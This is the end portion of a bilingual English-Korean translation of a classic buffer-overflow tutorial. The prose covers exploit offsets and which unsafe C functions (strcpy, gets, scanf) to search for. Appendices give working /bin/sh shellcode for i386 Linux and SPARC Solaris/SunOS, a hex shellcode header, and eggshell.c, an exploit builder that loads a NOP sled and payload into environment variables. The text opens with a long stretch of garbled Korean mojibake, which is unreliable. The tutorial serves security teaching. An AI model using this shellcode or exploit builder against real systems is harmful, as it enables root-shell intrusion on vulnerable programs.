"갇�염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염� �염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염 ��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��� 갇�염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염�� 염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염� �염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염 ��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��� 갇�염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염�� 염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염� �염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염��염���염��� 갇�염��염� Warning: some arguments in previous message were lost $ ------------------------------------------------------------------------------ On the first try! It has certainly increased our odds. Depending how much environment data the exploit program has compared with the program you are trying to exploit the guessed address may be to low or to high. Experiment both with positive and negative offsets. 단 한번의 시도로! 환경 변수의 데이터가 얼마나 많은가에 따라 exploit 프로그램은 exploit 하려는 프로그램의 주소 추측의 횟수가 낮아지거나 높아질 수 있다. 양수의 오프셋과 음수의 오프셋 둘다를 실험해도 마찬가지이다. Finding Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~~~ As stated earlier, buffer overflows are the result of stuffing more information into a buffer than it is meant to hold. Since C does not have any built-in bounds checking, overflows often manifest themselves as writing past the end of a character array. The standard C library provides a number of functions for copying or appending strings, that perform no boundary checking. They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions operate on null-terminated strings, and do not check for overflow of the receiving string. gets() is a function that reads a line from stdin into a buffer until either a terminating newline or EOF. It performs no checks for buffer overflows. The scanf() family of functions can also be a problem if you are matching a sequence of non-white-space characters (%s), or matching a non-empty sequence of characters from a specified set (%[]), and the array pointed to by the char pointer, is not large enough to accept the whole sequence of characters, and you have not defined the optional maximum field width. If the target of any of these functions is a buffer of static size, and its other argument was somehow derived from user input there is a good posibility that you might be able to exploit a buffer overflow. 앞서 시작할 때, 버퍼 오버플로는 실제로 가질수 있는 양보다 더 많은 정보를 버퍼에 쑤셔넣으려는 결과라고 했다. C는 내장된 어떠한 경계 검사도 가지지 않기 때문에, 오버플로는 흔히 문자 배열의 끝을 지나서 쓰기 함으로써 나타난다. 표준 C 라이브러리는 문자열을 복사하거나 추가(물론, 경계 검사를 전혀 수행하지 않는)하기 위한 많은 수의 함수를 제공한다. 이러한 함수들은 strcat(), strcpy(), sprintf() 그리고 vsprintf() 이다. 이러한 함수들은 널로 종료되는 문자열에 대해 동작하며, 받아들이는 문자열의 오버플로를 검사하지 않는다. gets() 함수는 뉴라인 이나 EOF를 만날때 까지 표준 입력 으로부터 한 라인을 읽어들이는 함수이다. 물론, 버퍼 오버플로을 위한 검사는 이루어지지 않는다. scanf() 함수 부류는 일련의 비 화이트 스페이스 문자들 (%s) 혹은 지정 집합(%[])로부터 비어있지 않은 일련의 문자와 매칭될 때, 그리고 문자 포인터에 의해서 가리켜지는 배열일 경우 문제가 발생할 수 있다. 또한, 전체 문자열을 받아들일 수 없을 때, 그리고 최대 필드 너비를 정의하지 않을 경우 문제가 발생할 수 있다. 이러한 함수들의 타겟이 스택 크기의 버퍼 라면, 그리고 그것의 인자가 사용자의 입력으로부터 파생된다면, 버퍼 오버플로 를 개발할 수 있는 좋은 가능성이 있다. Another usual programming construct we find is the use of a while loop to read one character at a time into a buffer from stdin or some file until the end of line, end of file, or some other delimiter is reached. This type of construct usually uses one of these functions: getc(), fgetc(), or getchar(). If there is no explicit checks for overflows in the while loop, such programs are easily exploited. 우리가 발견한 다른 일상적인 프로그래밍 구조는 while 루프를 사용해서 라인의 끝, 파일의 끝 혹은 어떤 다른 구분자에 도달할 때가지 표준 입력 혹은 어떤 파일으로부터 한 번에 한 문자씩 읽어들이는 것이다. 이러한 종류의 구조는 대개 다음 함수중에 하나를 사용한다. getc(), fgetc() 혹은 getchar(). while 루프에서 오버플로를 위한 명시적인 검사를 하지 않는다면, 그러한 프로그램은 쉽게 exploited 될 것이다. To conclude, grep(1) is your friend. The sources for free operating systems and their utilities is readily available. This fact becomes quite interesting once you realize that many comercial operating systems utilities where derived from the same sources as the free ones. Use the source d00d. Appendix A - Shellcode for Different Operating Systems/Architectures ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ i386/Linux ------------------------------------------------------------------------------ jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" ------------------------------------------------------------------------------ SPARC/Solaris ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 ------------------------------------------------------------------------------ SPARC/SunOS ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 ------------------------------------------------------------------------------ Appendix B - Generic Buffer Overflow Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h ------------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif ------------------------------------------------------------------------------ eggshell.c ------------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include #include #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n"); } ------------------------------------------------------------------------------